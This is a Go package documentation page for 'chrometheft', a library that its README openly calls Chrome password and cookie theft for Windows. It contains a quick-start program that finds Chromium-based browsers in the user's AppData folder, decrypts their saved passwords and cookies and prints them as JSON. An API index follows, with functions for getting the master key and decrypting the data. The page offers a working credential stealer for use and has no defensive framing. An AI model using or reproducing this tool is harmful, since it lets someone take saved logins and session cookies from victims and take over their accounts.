chrometheft

package module
v1.0.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 27, 2022 License: MIT Imports: 14 Imported by: 0

README

chrometheft

Flexible Chrome password/cookie theft for Windows
Go Reference

Usage

Quick start

package main

import (
	"encoding/json"
	"fmt"
	"os"

	"github.com/liulihaocai/chrometheft"
)

func main() {
	browsers, err := chrometheft.DetectBrowsers(os.Getenv("USERPROFILE") + "\\AppData\\Local")
	if err != nil {
		panic(err)
	}
	for _, browser := range browsers {
		fmt.Println("Browser:", browser)

		fmt.Println("Passwords:")
		passwords, err := chrometheft.GetPasswords(browser)
		if err != nil {
			fmt.Println("Error:", err)
		}
		pwd, _ := json.Marshal(passwords)
		fmt.Println(string(pwd))

		fmt.Println("Cookies:")
		cookies, err := chrometheft.GetCookies(browser)
		if err != nil {
			fmt.Println("Error:", err)
		}
		cok, _ := json.Marshal(cookies)
		fmt.Println(string(cok))
	}
}

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func Decrypt

func Decrypt(data []byte) ([]byte, error)

func DecryptEncryptedData

func DecryptEncryptedData(encryptedData string, masterKey []byte) (string, error)

func DetectBrowsers

func DetectBrowsers(path string) ([]string, error)

this will detect all chromium-based browsers

func GetMasterKey

func GetMasterKey(path string) ([]byte, error)

Types

type Cookie struct {
	HostKey string `json:"host_key"`
	Path    string `json:"path"`
	Name    string `json:"name"`
	Value   string `json:"value"`
}

func GetCookies

func GetCookies(path string) ([]Cookie, error)

type DATA_BLOB

type DATA_BLOB struct {
	// contains filtered or unexported fields
}

func NewBlob

func NewBlob(d []byte) *DATA_BLOB

func (*DATA_BLOB) ToByteArray

func (b *DATA_BLOB) ToByteArray() []byte

type Password

type Password struct {
	URL      string `json:"url"`
	Username string `json:"username"`
	Password string `json:"password"`
}

func GetPasswords

func GetPasswords(path string) ([]Password, error)

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL